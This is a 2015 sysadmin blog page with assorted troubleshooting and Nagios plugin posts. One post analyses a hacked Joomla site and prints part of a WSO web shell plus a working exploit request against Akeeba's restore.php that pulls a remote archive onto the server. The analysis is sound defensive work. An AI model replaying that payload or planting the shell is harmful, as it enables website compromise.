Header RSS Feed
 
If you only want to see the articles of a certain category, please click on the desired category below:
ALL Android Backup BSD Database Hacks Hardware Internet Linux Mail MySQL Nagios/Monitoring Network Personal PHP Proxy Shell Solaris Unix Virtualization VMware Windows Wyse

When a Windows support phone scammer reaches a Linux Systems Engineer...
Tuesday - Mar 3rd 2015 - by - (0 comments)

The "Windows phone scams" are nothing new to the insiders of IT. I even know a person who got successfully scammed, obviously not an IT pro. But whether the scammers call IT aware people or just Internet users, the scamming is mean and criminal.

A few days ago, I got such a call from an American number. It all started with "I am calling you from Microsoft Windows support. Your computer has a virus." That sentence was enough that I knew this was the famous phone scam.

I quickly installed a voice recording app and recorded the phone conversation. The very beginning is missing but the most important part is there. The conversation can be found on Youtube on the following link:

Windows tech support phone scammer reaches a Linux Systems Engineer

https://www.youtube.com/watch?v=GIIpHt6cWzA

During the call I had to improvise (because I wasn't actually sitting at a computer) but I had two goals:

1) Stall the callers and let them waste time with me. The more time they waste on me, the less they can scam other people.
2) Find out how they react if the target (the user) is running a Linux computer.

Funnily I gave enough hints during the call, that my system is a Linux computer, but they were all ignored - until the very end. But listen for yourself.

 

Solaris: Cannot copy partition table (not aligned on cylinder boundary)
Tuesday - Mar 3rd 2015 - by - (0 comments)

In past articles I described, how defect hard drives can be replaced in a Solaris system (Replace hard drive in Solaris 10 on IBM x3650 with arcconf and zpool and Replace defect HDD with hpacucli and zpool). 

First I activated thew new drive in hpacucli by creating a raid0 logical drive from the physical drive:

=> controller slot=0 show config
[...]
   unassigned

      physicaldrive 2I:1:5 (port 2I:box 1:bay 5, SAS, 300 GB, OK)

=> ctrl slot=0 create type=ld drives=2I:1:5 raid=0

=> controller slot=0 show config
[...]
   array E (SAS, Unused Space: 0 MB)

      logicaldrive 5 (279.4 GB, RAID 0, OK)

      physicaldrive 2I:1:5 (port 2I:box 1:bay 5, SAS, 300 GB, OK)

The next step is to copy the partition table (which is stored in the slice 2) from an existing drive (c0t3d0) to the new one (c0t4d0) with the following command:

prtvtoc /dev/rdsk/c0t3d0s2 | fmthard -s - /dev/rdsk/c0t4d0s2

However this time I got an error:

Partition 0 not aligned on cylinder boundary: "       0      4    00        256 585855290 585855545"

I tried several things to solve this, including trying to reformat the disk, using fdisk a douzen times, tried to manually create a partition table (which doesn't seem possible)...
The partition table always seemed to be different on c0t4d0 than on c0t3d0.

Partition table for c0t4d0:

 Part      Tag    Flag     Cylinders         Size            Blocks
  0 unassigned    wm       0                0         (0/0/0)             0
  1 unassigned    wm       0                0         (0/0/0)             0
  2     backup    wu       0 - 36465      279.34GB    (36466/0/0) 585826290
  3 unassigned    wm       0                0         (0/0/0)             0
  4 unassigned    wm       0                0         (0/0/0)             0
  5 unassigned    wm       0                0         (0/0/0)             0
  6 unassigned    wm       0                0         (0/0/0)             0
  7 unassigned    wm       0                0         (0/0/0)             0
  8       boot    wu       0 -     0        7.84MB    (1/0/0)         16065
  9 unassigned    wm       0                0         (0/0/0)             0

Partition table for c0t3d0 (thats the table I want!):

Part      Tag    Flag     First Sector         Size         Last Sector
  0        usr    wm               256      279.36GB          585855545   
  1 unassigned    wm                 0           0               0   
  2 unassigned    wm                 0           0               0   
  3 unassigned    wm                 0           0               0   
  4 unassigned    wm                 0           0               0   
  5 unassigned    wm                 0           0               0   
  6 unassigned    wm                 0           0               0   
  7 unassigned    wm                 0           0               0   
  8   reserved    wm         585855546        8.00MB          585871929

Nothing on the web could tell me the solution when I was looking for "Partition 0 not aligned on cylinder boundary". Until I searched for "solaris delete partition" where I came across an artictle from 2008: Delete ZFS slices from a disk. Although this isn't what I tried to do in the first place, the article gave me an important information about the different disk labels in Solaris:

It turned out that the disk was labeled with EFI type, and hasnít a slice2, but has a slice8, and so the mirror wonít be recreated.

Format could not handle that disk, we could not delete slice 8 because Ď8 is not expectedí...
After a bit of googling we found the stuff about EFI Vs. VTOC labels.

I verified the label on the existing drive and it was confirmed, it had an EFI label on it. So I needed to relabel the drive to EFI in format:

format -e c0t4d0
format> l
[0] SMI Label
[1] EFI Label
Specify Label type[0]: 1
Warning: This disk has an SMI label. Changing to EFI label will erase all current partitions.
Continue? yes

I verified the partition table and now finally c0t4d0 and c0t3d0 looked the same! 

Now a simple zfs replace and the resilvering started:

zpool replace datapool c0t4d0

To summarize: The disk label is ridiculously important on Solaris. Even when I tried to manually create a partition and label this partition as EFI, this did not change the partition table. Only after having changed the label, the partition table changed and the drive was finally ready to be replaced in the pool!

 

Joomla website hacked through Akeeba component (com_joomlaupdate)
Wednesday - Feb 25th 2015 - by - (0 comments)

It all started with another typical spamming incident, where an uploaded script was used to send spams.
It only took me a short time to find out which script was used to send the spams, because all php mail() functions are logged on my systems:

mail() on [/var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php:1]: To: dansa10@yahoo.com -- Headers: From: "Rene Wise"   Reply-To:"Rene Wise"   X-Priority: 3 (Normal)  MIME-Version: 1.0  Content-Type: text/html; charset="iso-8859-1"  Content-Transfer-Encoding: 8bit
mail() on [/var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php:1]: To: dansa5@aol.com -- Headers: From: "Rene Wise"   Reply-To:"Rene Wise"   X-Priority: 3 (Normal)  MIME-Version: 1.0  Content-Type: text/html; charset="iso-8859-1"  Content-Transfer-Encoding: 8bit

The offending file was uploaded on February 24th at 05:52 server time:

ll /var/www/web138/html/pat/tmp/install_512a97c9c4b10/media/cms/start.php
-rw-r--r-- 1 www-data www-data 64693 Feb 24 05:52 /var/www/web138/html/pat.hacked/tmp/install_512a97c9c4b10/media/cms/start.php

start.php on the other hand was uploaded by using a POST on another file (menu.php):

176.31.148.191 - - [24/Feb/2015:05:51:59 +0100] "POST /tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
176.31.148.191 - - [24/Feb/2015:05:52:00 +0100] "GET /tmp/install_512a97c9c4b10/media/cms/start.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"

And menu.php was on the server just a few minutes longer than start.php:

ll /var/www/web138/html/pat/tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php
-rw-r--r-- 1 www-data www-data 510 Feb 24 05:49 /var/www/web138/html/pat.hacked/tmp/install_512a97c9c4b10/libraries/joomla/document/html/menu.php

Now when I traced back, how menu.php came on the system, I came across a ton of POST requests on several uploaded php files, but it all originated on one php script:

208.113.155.169 - - [24/Feb/2015:05:49:12 +0100] "GET /tmp/ro1gy.php HTTP/1.1" 200 113 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
208.113.155.169 - - [24/Feb/2015:05:49:12 +0100] "POST /tmp/ro1gy.php HTTP/1.1" 200 3736 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
208.113.155.169 - - [24/Feb/2015:05:49:13 +0100] "POST /tmp/ro1gy.php HTTP/1.1" 200 7598 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"

I just had to look a few seconds at ro1gy.php to know what it is:

cat ro1gy.php
$auth_pass = "e9c5e04b500b79603746d088128f7ad1";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
[...]

The last line tells it all: Another WSO (Web Shell). When the file ro1gy.php is called in the browser, a password request comes up:

WSO Webshell Login

I didn't even have to change the $auth_pass value in the file, because a quick search for the MD5 hash easily revealed the password.
Once logged in, the typical WSO interface appeared:

WSO 2.5 

Over the years I have seen quite a few hacks where WSO shells were uploaded. The interesting part follows now though: How did the WSO script land on the server?
The timestamp reveals, that ro1gy.php landed on the server on February 24th at 04:24:

ll /var/www/web138/html/pat/tmp/ro1gy.php
-rw-r--r--  1 www-data www-data  67630 Feb 24 04:24 ro1gy.php

And here again another php script, sfx.php, was used for the upload:

212.117.184.185 - - [24/Feb/2015:04:24:29 +0100] "POST /tmp/sfx.php HTTP/1.1" 200 20 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.117.184.185 - - [24/Feb/2015:04:24:29 +0100] "GET /tmp/ro1gy.php HTTP/1.1" 200 113 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

How sfx.php came on the system, is finally the real hack. The file was uploaded with a simple GET request by using a vulnerability in the com_joomlaupdate (which is part of Akeeba Backup) component:

212.117.184.185 - - [24/Feb/2015:03:41:14 +0100] "GET /administrator/components/com_joomlaupdate/restore.php HTTP/1.1" 200 74 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24"
212.117.184.185 - - [24/Feb/2015:03:41:14 +0100] "GET /administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3RvcnkiOjI6e3M6MjE6IgBBS0ZhY3RvcnkAb2JqZWN0bGlzdCI7YToyOntzOjE1%0AOiJBS1VuYXJjaGl2ZXJaSVAiO086MTU6IkFLVW5hcmNoaXZlclpJUCI6MzU6e3M6MjA6ImV4cGVj%0AdERhdGFEZXNjcmlwdG9yIjtiOjA7czozNDoiAEFLVW5hcmNoaXZlckpQQQBhcmNoaXZlSGVhZGVy%0ARGF0YSI7YTowOnt9czoxMToiACoAZmlsZW5hbWUiO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21z%0AemVuZS5pbmZvL3RlbXBsYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7czoxMToiYXJjaGl2%0AZUxpc3QiO2E6MTp7aTowO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZvL3RlbXBs%0AYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7fXM6OToidG90YWxTaXplIjtpOjA7czoyMDoi%0AACoAY3VycmVudFBhcnROdW1iZXIiO2k6LTE7czoyMDoiACoAY3VycmVudFBhcnRPZmZzZXQiO2k6%0ANDtzOjI1OiIAKgBmbGFnUmVzdG9yZVBlcm1pc3Npb25zIjtpOjA7czoxNzoiACoAcG9zdFByb2NF%0AbmdpbmUiO086MTY6IkFLUG9zdHByb2NEaXJlY3QiOjg6e3M6MTE6IgAqAGZpbGVuYW1lIjtOO3M6%0AODoiACoAcGVybXMiO2k6NDkzO3M6MTU6IgAqAHRlbXBGaWxlbmFtZSI7TjtzOjk6InRpbWVzdGFt%0AcCI7aTowO3M6MjU6IgBBS0Fic3RyYWN0T2JqZWN0AF9lcnJvcnMiO2E6MDp7fXM6MjE6IgAqAF9l%0AcnJvcnNfcXVldWVfc2l6ZSI7aTowO3M6Mjc6IgBBS0Fic3RyYWN0T2JqZWN0AF93YXJuaW5ncyI7%0AYTowOnt9czoyMzoiACoAX3dhcm5pbmdzX3F1ZXVlX3NpemUiO2k6MDt9czoxMDoiACoAYWRkUGF0%0AaCI7czoxMzoiLi4vLi4vLi4vdG1wLyI7czoxMToicmVuYW1lRmlsZXMiO2E6Mjp7czo5OiIuaHRh%0AY2Nlc3MiO3M6MTI6Imh0YWNjZXNzLmJhayI7czo3OiJwaHAuaW5pIjtzOjExOiJwaHAuaW5pLmJh%0AayI7fXM6MTA6InJlbmFtZURpcnMiO2E6MDp7fXM6OToic2tpcEZpbGVzIjthOjc6e2k6MDtzOjEx%0AOiJyZXN0b3JlLnBocCI7aToxO3M6MTM6ImtpY2tzdGFydC5waHAiO2k6MjtzOjE3OiJhYmlhdXRv%0AbWF0aW9uLmluaSI7aTozO3M6MTI6Imh0YWNjZXNzLmJhayI7aTo0O3M6MTE6InBocC5pbmkuYmFr%0AIjtpOjU7czo0NzoiYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9ha2VlYmEvcmVzdG9yZS5w%0AaHAiO2k6NjtzOjUxOiJhZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3Jh%0AdGlvbi5waHAiO31zOjEyOiIAKgBjaHVua1NpemUiO2k6NTI0Mjg4O3M6NToiACoAZnAiO2k6MDtz%0AOjExOiIAKgBydW5TdGF0ZSI7aTowO3M6MTM6IgAqAGZpbGVIZWFkZXIiO047czoxNzoiACoAZGF0%0AYVJlYWRMZW5ndGgiO2k6MDtzOjEzOiIAKgBpc1ByZXBhcmVkIjtiOjE7czoxMjoiACoAaXNSdW5u%0AaW5nIjtiOjA7czoxMzoiACoAaXNGaW5pc2hlZCI7YjowO3M6OToiACoAaGFzUmFuIjtiOjA7czox%0ANjoiACoAYWN0aXZlX2RvbWFpbiI7czowOiIiO3M6MTQ6IgAqAGFjdGl2ZV9zdGVwIjtzOjA6IiI7%0AczoxNzoiACoAYWN0aXZlX3N1YnN0ZXAiO3M6MDoiIjtzOjE5OiIAKgBfcGFyYW1ldGVyc0FycmF5%0AIjthOjY6e3M6ODoiZmlsZW5hbWUiO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZv%0AL3RlbXBsYXRlcy9yaHVrX3BsYW5ldGZhbGwvc2Z4LnppcCI7czoxOToicmVzdG9yZV9wZXJtaXNz%0AaW9ucyI7aTowO3M6OToicG9zdF9wcm9jIjtzOjY6ImRpcmVjdCI7czo4OiJhZGRfcGF0aCI7czox%0AMzoiLi4vLi4vLi4vdG1wLyI7czoxMjoicmVuYW1lX2ZpbGVzIjthOjI6e3M6OToiLmh0YWNjZXNz%0AIjtzOjEyOiJodGFjY2Vzcy5iYWsiO3M6NzoicGhwLmluaSI7czoxMToicGhwLmluaS5iYWsiO31z%0AOjEwOiJza2lwX2ZpbGVzIjthOjc6e2k6MDtzOjExOiJyZXN0b3JlLnBocCI7aToxO3M6MTM6Imtp%0AY2tzdGFydC5waHAiO2k6MjtzOjE3OiJhYmlhdXRvbWF0aW9uLmluaSI7aTozO3M6MTI6Imh0YWNj%0AZXNzLmJhayI7aTo0O3M6MTE6InBocC5pbmkuYmFrIjtpOjU7czo0NzoiYWRtaW5pc3RyYXRvci9j%0Ab21wb25lbnRzL2NvbV9ha2VlYmEvcmVzdG9yZS5waHAiO2k6NjtzOjUxOiJhZG1pbmlzdHJhdG9y%0AL2NvbXBvbmVudHMvY29tX2FrZWViYS9yZXN0b3JhdGlvbi5waHAiO319czoxNToiACoAZGF0YWJh%0Ac2VSb290IjthOjA6e31zOjMyOiIAQUtBYnN0cmFjdFBhcnQAd2FybmluZ3NfcG9pbnRlciI7aTow%0AO3M6MTI6IgAqAG9ic2VydmVycyI7YToxOntzOjE5OiJSZXN0b3JhdGlvbk9ic2VydmVyIjtPOjE5%0AOiJSZXN0b3JhdGlvbk9ic2VydmVyIjozOntzOjE1OiJjb21wcmVzc2VkVG90YWwiO2k6MDtzOjE3%0AOiJ1bmNvbXByZXNzZWRUb3RhbCI7aTowO3M6MTQ6ImZpbGVzUHJvY2Vzc2VkIjtpOjA7fX1zOjI1%0AOiIAQUtBYnN0cmFjdE9iamVjdABfZXJyb3JzIjthOjA6e31zOjIxOiIAKgBfZXJyb3JzX3F1ZXVl%0AX3NpemUiO2k6MDtzOjI3OiIAQUtBYnN0cmFjdE9iamVjdABfd2FybmluZ3MiO2E6MDp7fXM6MjM6%0AIgAqAF93YXJuaW5nc19xdWV1ZV9zaXplIjtpOjA7czoxNzoiYXJjaGl2ZUhlYWRlckRhdGEiO086%0AODoic3RkQ2xhc3MiOjA6e31zOjY6Imhhc1J1biI7YjowO31zOjE2OiJBS1Bvc3Rwcm9jRGlyZWN0%0AIjtyOjEzO31zOjE4OiIAQUtGYWN0b3J5AHZhcmxpc3QiO2E6Mzp7czoyNzoia2lja3N0YXJ0LnNl%0AY3VyaXR5LnBhc3N3b3JkIjtzOjA6IiI7czoyNjoia2lja3N0YXJ0LnNldHVwLnNvdXJjZWZpbGUi%0AO3M6NjM6Imh0dHA6Ly93d3cuYW50aWF0b21zemVuZS5pbmZvL3RlbXBsYXRlcy9yaHVrX3BsYW5l%0AdGZhbGwvc2Z4LnppcCI7czoxNzoia2lja3N0YXJ0LmVuYWJsZWQiO2I6MTt9fQ== HTTP/1.1" 200 4549 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24"

Now there's a known vulnerability of the Akeeba Backup component which is described in these words:

"It is possible for a remote attacker to extract a remotely hosted archive while you are extracting a backup archive / installing an update, depending on your server settings."

The full description can be found on https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html.
There's even an exploit ready to be used for attacking Joomla websites (http://www.exploit-db.com/exploits/35033/). So together with Metasploit, this exploit can be used to attack a Joomla website without even having to do the hack manually.

According to the full description above, there is a hotfix which can be applied (to manually patch restore.php). And by taking a look at the exploit's description, the vulnerable Joomla versions are defined:

        This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier
        3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba
        component, which is responsible for Joomla! updates. Nevertheless it is worth to note
        that this vulnerability is only exploitable during the update of the Joomla! CMS.

Both websites mention, that the Joomla version is only vulnerable during an update. As a matter of fact, the website owner updated his Joomla a while ago but did not remove the temporary update folder - and unwillingly let the door open to use this vulnerability.

By checking out the version of the Joomla installation the hack is no surprise:

        /** @var  string  Product name. */
        public $PRODUCT = 'Joomla!';

        /** @var  string  Release version. */
        public $RELEASE = '2.5';

        /** @var  string  Maintenance version. */
        public $DEV_LEVEL = '20';

        /** @var  string  Development STATUS. */
        public $DEV_STATUS = 'Stable';

        /** @var  string  Build number. */
        public $BUILD = '';

        /** @var  string  Code name. */
        public $CODENAME = 'Ember';

        /** @var  string  Release date. */
        public $RELDATE = '30-April-2014';

Once again the hack could have been prevented, if Joomla and its components would have been updated more regularly.

 

No space left on device but df still shows available space
Tuesday - Feb 24th 2015 - by - (1 comments)

A website running PHP suddenly returned a 500 internal server error. By analyzing the logs, the following entries appeared, as soon as the website was requested:

[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  session_start(): open(/var/www/web/files/tmp/sess_2p27rr5idh5danjle3e237c4s4, O_RDWR) failed: No space left on device (28) in /var/www/web/updates/concrete5.6.3.1_updater/concrete/startup/session.php on line 34
[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  Unknown: open(/var/www/web/files/tmp/sess_suh3bf1kj5tm77ftp8kkaqma26, O_RDWR) failed: No space left on device (28) in Unknown on line 0
[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/var/www/web/files/tmp) in Unknown on line 0
[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  session_start(): open(/var/www/web/files/tmp/sess_1q9pmqhmlh5p3cp41ohs2u6p44, O_RDWR) failed: No space left on device (28) in /var/www/web/updates/concrete5.6.3.1_updater/concrete/startup/session.php on line 34
[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  Unknown: open(/var/www/web/files/tmp/sess_gjbe8a55db44htincmlpi7u986, O_RDWR) failed: No space left on device (28) in Unknown on line 0
[error] [client 1.2.3.4] FastCGI: server "/usr/lib/cgi-bin/php5-fcgi" stderr: PHP message: PHP Warning:  Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/var/www/web/files/tmp) in Unknown on line 0

The message cannot be mistaken: There is no space left on the device to write the session file.

Strangely enough, df -h showed a completely different story:

df -h
Filesystem           Size  Used Avail Use% Mounted on
/dev/mapper/vg0-var   60G   41G   16G  73% /

But by manually trying to create a file, the message was confirmed:

cd /var/www/web/files/tmp; touch bla
touch: cannot touch `bla': No space left on device

And that's when I remembered the inodes (OK, granted, after a couple of strange looks to the output):

df -i
Filesystem           Inodes   IUsed  IFree IUse% Mounted on
/dev/mapper/vg0-var 3932160 3932160      0  100% /

Yep. No inodes left on the device. Therefore no more files can be created, even though there would be still enough available space left.

Possible solutions:
1) Remove files
2) Increase file system

 

check_smart: Your opinion is needed for a bugfix
Monday - Feb 16th 2015 - by - (0 comments)

Today I discovered a bug in check_smart which only affects (Free)BSD systems. Due to a recently added contribution in commit 06d655d, a hard-coded regular expression was only looking for hard drives finishing with an alphabetic character, for example /dev/sdd or /dev/sde.

However on FreeBSD this doesn't work as the hard drives are often shown as /dev/da0, /dev/da1, etc. in the OS.

The bug is now documented as issue #13 and a fix was suggested. But if I apply this fix, a user change in the Nagios command or service definition will be necessary. Therefore please go to issue #13 and have your say.

If I don't get any other suggestions until the end of the month February, I will release the fix as suggested.

Thanks.

 

check_smart: Version 5.5 released (run plugin outside of nagios plugin dir)
Thursday - Feb 12th 2015 - by - (0 comments)

A new version (5.5) of the Nagios plugin to monitor hard drive's SMART values, check_smart.pl, was released yesterday. 

The new version allows the plugin to be run outside of the Nagios plugins dir. On Linux this is mostly /usr/lib(64)/nagios/plugins and on FreeBSD /usr/local/libexec/nagios. 

Thanks to Josh Behrends for his contribution! 

 

check_smart: Version 5.4 released (allow SAS drives behind MegaRaid)
Thursday - Feb 5th 2015 - by - (0 comments)

Bastian de Groot has sent me an important patch for the Nagios plugin check_smart.pl which adds a flexible lookup for the hard drive type (SCSI or ATA).

Before the patch, it was assumed, that drives behind a MegaRaid controller are (S)ATA drives, therefore awaiting the health strings for ATA drives:

     # separate metric-gathering and output analysis for ATA vs SCSI SMART output
     # Yeah - but megaraid is the same output as ata
     if ($interface =~ m/(ata|megaraid|sat)/) {         foreach my $line(@output){

That's complete bogus, of course! There can be SAS drives behind a MegaRaid controller. And as we all know, SAS is nothing else than a Serial Attached SCSI device. 

With the new lookup there is no fixed assumption anymore. The lookup checks itself from the output of the drive what kind of drive it is:

    my $line_str_ata = 'SMART overall-health self-assessment test result: '; # ATA SMART line
    my $line_str_scsi = 'SMART Health Status: '; # SCSI and CCISS SMART line

So big thanks to Bastian for that contribution!

 

check_smart version 5.3 released (support for more than 26 devices)
Wednesday - Feb 4th 2015 - by - (0 comments)

Today a new version of the Nagios plugin to check the SMART values of hard drives check_smart.pl was released. Version 5.3 allows support for more than 26 devices, if the "-g" parameter was used to do a "global" check of all drives on the system.

This fixes issue #5 created in the github repo. 

Thanks a lot to Caspar Smit and github user cguadall for the patch. 

 

check_equallogic: Bugfix in percentage calculation in volume check
Tuesday - Feb 3rd 2015 - by - (0 comments)

There was a small bug in the check_equallogic Nagios plugin. When someone used the "volume" check, the percentage of the usage was not correctly calculated.

check_equallogic: line 845: / 1024: syntax error: operand expected (error token is "/ 1024")

Todays released version 20150203 fixes this bug. When I committed to the github repository, I saw that I already committed the exact same bugfix already in August 2014 - but forgot to merge back to master. Arrrrrrrrr!

Thanks to Tim Sutton and to Andreas Thul for the bug reports.

 

Public and Private keys incorrect error in Wordpress with SSH auth
Monday - Feb 2nd 2015 - by - (0 comments)

There are several ways of making a Wordpress installation more secure. One possibility is to ditch FTP and use a safe authentication, like SSH.

In Wordpress 4.1 there is embedded support for SSH authentication active - as long as the ssh2 php extension is loaded.

In Debian Wheezy this can be installed with the library libssh2-php:

apt-get install libssh2-php

After the installation, a restart of Apache activates the extension (which is defined in /etc/php5/conf.d/ssh2.ini):

service apache2 restart

However, no matter what I did, I couldn't get it to work in Wordpress.
I adapted file permissions, create a key pair with and without a password, verified manual ssh login with the key file, ... whatever I did, I always got this error:

Public and Private keys incorrect for wpuser

Where wpuser is the user I defined and which owns the wordpress folder.

There are several good howtos available which mention this error and which give potential resolutions:

But unfortunately, none of them could resolve the problem.

On the SSH layer I saw, that a connection came in, but the key authentication never happened. The connection was always terminated from the pecl side before the authentication could happen (in the preauth phase):

sshd[80647]: Connection from 123.45.67.89 port 36144
sshd[80647]: Found matching RSA key: aa:bb:cc:dd:ee:ff:gg:hh:ii:jj:kk:ll:mm:nn:oo:pp
sshd[80647]: Postponed publickey for wpuser from 123.45.67.89 port 36144 ssh2 [preauth]
sshd[80647]: Received disconnect from 123.45.67.89: 11: PECL/ssh2 (http://pecl.php.net/packages/ssh2) [preauth]

Could it be a bug in the Wordpress core? Or maybe is the libssh2-php version too old/buggy? After a frustrating and non-successful research about possible bugs, I tried it with an alternative, a plugin called "SSH SFTP Updater Support". And finally I got lucky!
Once I manually installed (unzipped and activated) the plugin, I was able to use the private/public key pair as authentication method. With or without password-protected private key, both setups worked.

In the SSH log, the successful authentication (and sftp download of a theme) is logged like this:

sshd[84084]: Accepted publickey for wpuser from 123.45.67.89 port 43559 ssh2
sshd[84084]: pam_unix(sshd:session): session opened for user wpuser by (uid=0)
sshd[84086]: subsystem request for sftp by user wpuser
sshd[84086]: Received disconnect from 123.45.67.89: 11:
sshd[84084]: pam_unix(sshd:session): session closed for user wpuser

Great WP plugin, well done and well working! Thanks to the author TerraFrost!

 


Go to Homepage home
Linux Howtos how to's
Nagios Plugins nagios plugins
Links links

Valid HTML 4.01 Transitional
Valid CSS!
[Valid RSS]

8357 Days
until Death of Computers
Why?